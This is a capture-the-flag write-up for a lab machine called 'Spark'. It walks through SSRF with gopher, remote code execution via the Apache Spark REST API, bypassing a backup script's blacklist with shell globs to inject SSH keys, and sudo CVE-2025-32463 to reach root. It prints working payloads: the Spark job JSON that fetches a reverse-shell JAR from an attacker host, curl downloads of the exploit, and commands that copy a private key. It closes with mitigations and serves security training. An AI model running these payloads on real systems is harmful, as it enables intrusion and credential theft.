Spark - HC Writeup

2026-02-27·8 min read·
ctfssrfgopherapache-sparkrceprivilege-escalation

Target Information

  • IP Address: 172.16.15.201
  • Difficulty: Hard
  • Tags: SSRF, Gopher, Apache Spark, RCE, Blacklist Bypass, Sudo Privesc

Reconnaissance

Port Scanning

An external Nmap scan revealed a minimal attack surface:

$bash
nmap -sC -sV -p- -vvv -oA nmap --min-rate 500 172.16.15.201

Results:

$code
PORT   STATE  SERVICE VERSION
22/tcp open   ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.14
80/tcp open   http    Apache httpd 2.4.58 (Ubuntu)

Only two services are exposed externally. The main attack surface is internal and reachable through SSRF.


Web Enumeration

Discovery: SSRF via the html Parameter

The /render.php endpoint accepts arbitrary HTML through the html parameter and renders it server-side, enabling SSRF.

Test payload:

$html
<style>@import url("http://10.0.35.83:8888/p.css")</style>

Listener:

$bash
nc -lvnp 8888

Response:

$code
Connection received on 172.16.12.177 39710
GET /p.css HTTP/1.1
Host: 10.0.35.83:8888
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:108.0) Gecko/20100101 Firefox/108.0
Accept: */*

Vulnerability confirmed! The server makes outbound HTTP requests while rendering HTML, confirming SSRF.


Gopher SSRF — Probe and Internal Scan

The gopher:// protocol can send raw TCP payloads to internal services. First, validate the vector:

$bash
pipx run test_gopher_http.py
 
[*] Sending a gopher HTTP GET to 10.0.35.83:8000/probe_test
[*] HTTP 200  (1030 bytes)
$code
172.16.12.177 - - [26/Feb/2026 20:22:53] "GET /probe_test HTTP/1.0" 404 -

Gopher works. With the vector confirmed, scan internal ports through SSRF:

$bash
pipx run scan.py scan 172.16.12.177
 
[*] Port scan 172.16.12.177  (14 portas, raw)
 
  [+] :80      OPEN|resp        0.00s
  [+] :22      OPEN|resp        0.00s
  [+] :21      OPEN|resp        0.00s
  [+] :6066    OPEN|resp        0.00s
  [+] :443     OPEN|resp        0.00s
  [+] :5432    OPEN|resp        0.00s
  [+] :3306    OPEN|wait        5.00s
  [+] :7077    OPEN|wait        5.00s
  [+] :8080    OPEN|wait        5.00s
  [+] :8081    OPEN|wait        5.00s
  [+] :8443    OPEN|wait        5.00s
  [+] :27017   OPEN|wait        5.00s
  [+] :9200    OPEN|wait        5.00s

14 internal services exposed. Port 6066 (Apache Spark REST API) is the RCE vector.


Exploitation: Remote Code Execution

Apache Spark REST API — Malicious JAR Submission

Apache Spark exposes a REST API on port 6066 that accepts jobs in cluster mode. Combined with SSRF through gopher, this allows sending a CreateSubmissionRequest that points to a locally hosted malicious JAR.

JSON body:

$json
{
  "action": "CreateSubmissionRequest",
  "appResource": "http://10.0.35.83:8000/shell.jar",
  "clientSparkVersion": "3.0.0",
  "mainClass": "ReverseShell",
  "environmentVariables": {"SPARK_ENV_LOADED": "1"},
  "sparkProperties": {
    "spark.master": "spark://127.0.0.1:7077",
    "spark.app.name": "healthcheck",
    "spark.jars": "http://10.0.35.83:8000/shell.jar",
    "spark.driver.supervise": "false",
    "spark.submit.deployMode": "cluster"
  },
  "appArgs": []
}

Exploit via SSRF:

$bash
pipx run spark_rce.py 172.16.12.177
 
[*] Target Spark: 172.16.12.177:6066
[*] JAR:          http://10.0.35.83:8000/shell.jar
[*] Reverse shell: 10.0.35.83:4444
[*] SSRF → http://172.16.12.177/render.php
[*] Gopher payload (849 chars)
[*] HTTP 200  (1030 bytes)
[+] Request sent. Waiting for a connection in netcat...

HTTP Server (JAR delivery):

$bash
sudo python3 -m http.server 8000
 
172.16.12.177 - - [26/Feb/2026 20:14:41] "GET /shell.jar HTTP/1.1" 200 -

Listener:

$bash
penelope
[+] Got reverse shell from 16ad5bae4500~172.16.12.177-Linux-x86_64
[+] Shell upgraded successfully using /usr/bin/script!
svc_backup@16ad5bae4500:~/work/driver-20260226231440-0000$

Reverse shell obtained as svc_backup!


Post-Exploitation: Backup Manager Analysis

Discovery: Backup Script with Command Execution

Enumeration revealed /opt/backup_manager.sh, which processes jobs from /var/backups/queue/. Each .backup file contains a command that is executed through eval after passing a blacklist filter.

$bash
BLOCKED_CHARS=('$(' '`' '|' '&' ';' '>' '<')
BLOCKED_KEYWORDS=('bash' 'sh' 'nc' 'netcat' 'python' 'perl' 'wget' 'curl' 'exec' 'eval')

Execution:

$bash
eval "$command" >> "$LOG_FILE" 2>&1

Vulnerability: The blacklist uses literal string matching and can be bypassed with wildcards and shell glob patterns.

Blacklist Bypass — File Reading

Words such as bash are blocked, but bash* is not. The .ssh path is blocked by the /bin/(ba)?sh regex, but .??h matches it through globbing:

$bash
# Read the script using a wildcard
echo 'script -c "cat /opt/backup_manage*" /var/backups/bm_src' > /var/backups/queue/g1.backup
$code
[2026-02-27 03:43:03] Executing: script -c "cat /opt/backup_manage*" /var/backups/bm_src
Script started, output log file is '/var/backups/bm_src'.

Privilege Escalation: SSH Access via Backup Manager

Two approaches use the same bypass mechanism — reference .ssh as .??h:

Option A — Injecting Our Own Public Key

Add the attacker’s public key to the account’s authorized_keys.

1. Generate the key pair:

$bash
ssh-keygen -t ed25519 -f /tmp/id_ctf -N ""

2. Write the public key to an accessible location:

$bash
echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEQ6JrRzuhkzOS2Xsm7+YVVz4sAHYJkJ4agGGd85wxWn cbxcvl@archlinux' > /var/backups/pubkey

3. Copy job using a glob bypass:

$bash
echo 'cp /var/backups/pubkey /home/svc_backup/.??h/authorized_keys' > /var/backups/queue/j1.backup
$code
[2026-02-27 04:11:21] Executing: cp /var/backups/pubkey /home/svc_backup/.??h/authorized_keys
[2026-02-27 04:11:21] Job completed: j1.backup

Option B — Extracting the Existing Private Key

Copy the entire .ssh directory to a readable location and exfiltrate the existing private key:

$bash
echo 'cp -r /home/svc_backup/.??h /var/backups/svckeys' > /var/backups/queue/k1.backup
$code
/var/backups/svckeys/:
-rw------- svc_backup  id_rsa
-rw-r--r-- svc_backup  id_rsa.pub
-rw-rw-r-- svc_backup  authorized_keys
$bash
cat /var/backups/svckeys/id_rsa
# -----BEGIN OPENSSH PRIVATE KEY-----
# ...existing RSA key for the svc_backup account...

Persistent SSH access as svc_backup obtained — either with an injected key (Option A) or an exfiltrated key (Option B).


Privilege Escalation: CVE-2025-32463 — Sudo Shared Library Hijack

Permission Enumeration

$bash
sudo --version
$code
Sudo version 1.9.15p5

Vulnerable version identified. CVE-2025-32463 affects sudo versions earlier than 1.9.17p1.

CVE-2025-32463

This sudo vulnerability allows an unprivileged local user to escalate to root through shared library hijacking. In certain execution flows, sudo fails to sanitize the library loading path properly, allowing a malicious .so to load in a root context.

PoC: zinzloun/CVE-2025-32463

Exploitation

$bash
# Download do PoC e biblioteca maliciosa
curl 10.0.35.83:8888/poc.sh -o /tmp/poc.sh
curl 10.0.35.83:8888/woot1337.so.2 -o /tmp/woot1337.so.2
 
chmod +x /tmp/poc.sh
/tmp/poc.sh
$code
woot!
root@ip-172-16-14-150:/#

ROOT OBTAINED!


Attack Chain Summary

$code
1. SSRF Discovery
   ↓ /render.php?html= accepts arbitrary HTML → outbound requests
2. Gopher SSRF
   ↓ The gopher protocol allows raw TCP payloads to be sent to internal services
3. Port Scan Interno
   ↓ Spark REST API discovered on port 6066
4. Apache Spark RCE
   ↓ CreateSubmissionRequest sent through gopher → malicious JAR execution
5. Initial Access (svc_backup)
   ↓ Reverse shell through a JAR containing the ReverseShell class
6. Backup Manager Enumeration
   ↓ Script using eval() with a bypassable blacklist
7. Blacklist bypass
   ↓ Wildcards and `.??h` patterns bypass string filters
8. SSH Key Injection
   ↓ Public key injected through a backup job
9. Sudo Privilege Escalation
   ↓ PoC + shared library → root

Vulnerabilities Summary

  1. Server-Side Request Forgery (SSRF) CWE-918 Critical

    • The html parameter in /render.php triggers arbitrary server-side requests, including gopher requests to internal services
  2. Apache Spark Unauthenticated REST API CWE-306 Critical

    • The unauthenticated Spark REST API (port 6066) allows arbitrary cluster job submissions, resulting in RCE
  3. Command Injection via Blacklist Bypass CWE-78 High

    • The backup script uses eval with a string blacklist that can be bypassed using wildcards and Bash glob patterns
  4. CVE-2025-32463 — Sudo Shared Library Hijack CWE-426 Critical

    • Sudo 1.9.15p5 (< 1.9.17p1) allows root escalation through shared library hijacking

Technical Analysis

Apache Spark REST API — Attack Flow

Technology: Apache Spark 3.0.0, REST Submission Server (port 6066)

Exploitation flow:

  1. SSRF with gopher builds a raw HTTP POST request to http://127.0.0.1:6066/v1/submissions/create
  2. The JSON payload instructs the Spark master to fetch and run an external JAR in cluster mode
  3. The Spark worker downloads the JAR and runs the ReverseShell class
  4. Callback to the attacker’s listener

Backup Manager — Blacklist Analysis

$bash
BLOCKED_CHARS=('$(' '`' '|' '&' ';' '>' '<')
BLOCKED_KEYWORDS=('bash' 'sh' 'nc' ...)
 
# Bypass via glob — .ssh → .??h
cp /var/backups/pubkey /home/svc_backup/.??h/authorized_keys
 
# Bypass via wildcard — backup_manager.sh → backup_manage*
script -c "cat /opt/backup_manage*" /var/backups/bm_src

The filter does not block wildcards (*, ?), allowing indirect references to blocked paths and filenames.


Mitigation Recommendations

Application Level

  1. Disable SSRF:

    • Implement an allowlist of permitted domains/IP addresses
    • Block requests to private IPs (RFC 1918) and localhost
    • Disable support for protocols such as gopher://, file://, and dict://
  2. Replace the backup manager blacklist with an allowlist:

$bash
# Define allowed commands instead of blocking malicious patterns
ALLOWED_COMMANDS=('rsync' 'tar' 'gzip')

System Level

  1. Proteger a API REST do Spark:

    • Enable authentication (spark.authenticate=true)
    • Restrict access to port 6066 with a firewall
    • Do not expose the Spark master directly to the network
  2. Replace eval with safe execution:

$bash
# Use exec with positional arguments instead of eval
exec "$command" "$@"
  1. Update sudo to version >= 1.9.17p1 (fixes CVE-2025-32463)

  2. Principle of least privilege:

    • The svc_backup service must not have write access to critical directories
    • Separate backup manager permissions

Tools Used

  • netcat / penelope - Reverse shell listener
  • gopher - Protocol for SSRF with raw TCP payloads
  • Apache Spark REST API - Submit malicious jobs
  • ssh-keygen - Generate an ED25519 key pair

Attack Chain Scripts

Gopher SSRF Port Scanner

$python
# scan.py — scan interno via SSRF gopher
# Build gopher URLs for each port and analyze the render.php response

Spark RCE

$python
# spark_rce.py — submete JAR malicioso via SSRF
# Payload: CreateSubmissionRequest com mainClass=ReverseShell

Flags

$code
Reverse Shell: svc_backup@16ad5bae4500
Root: root@ip-172-16-14-150

References

SSRF & Gopher

Apache Spark

Bash Blacklist Bypass

Privilege Escalation


Author: cbxcvl Date: February 27, 2026 Machine: Spark Platform: HackingClub


Proof of Concept Scripts

Exploit commands and requests are documented inline above. No standalone script was included in the source notes.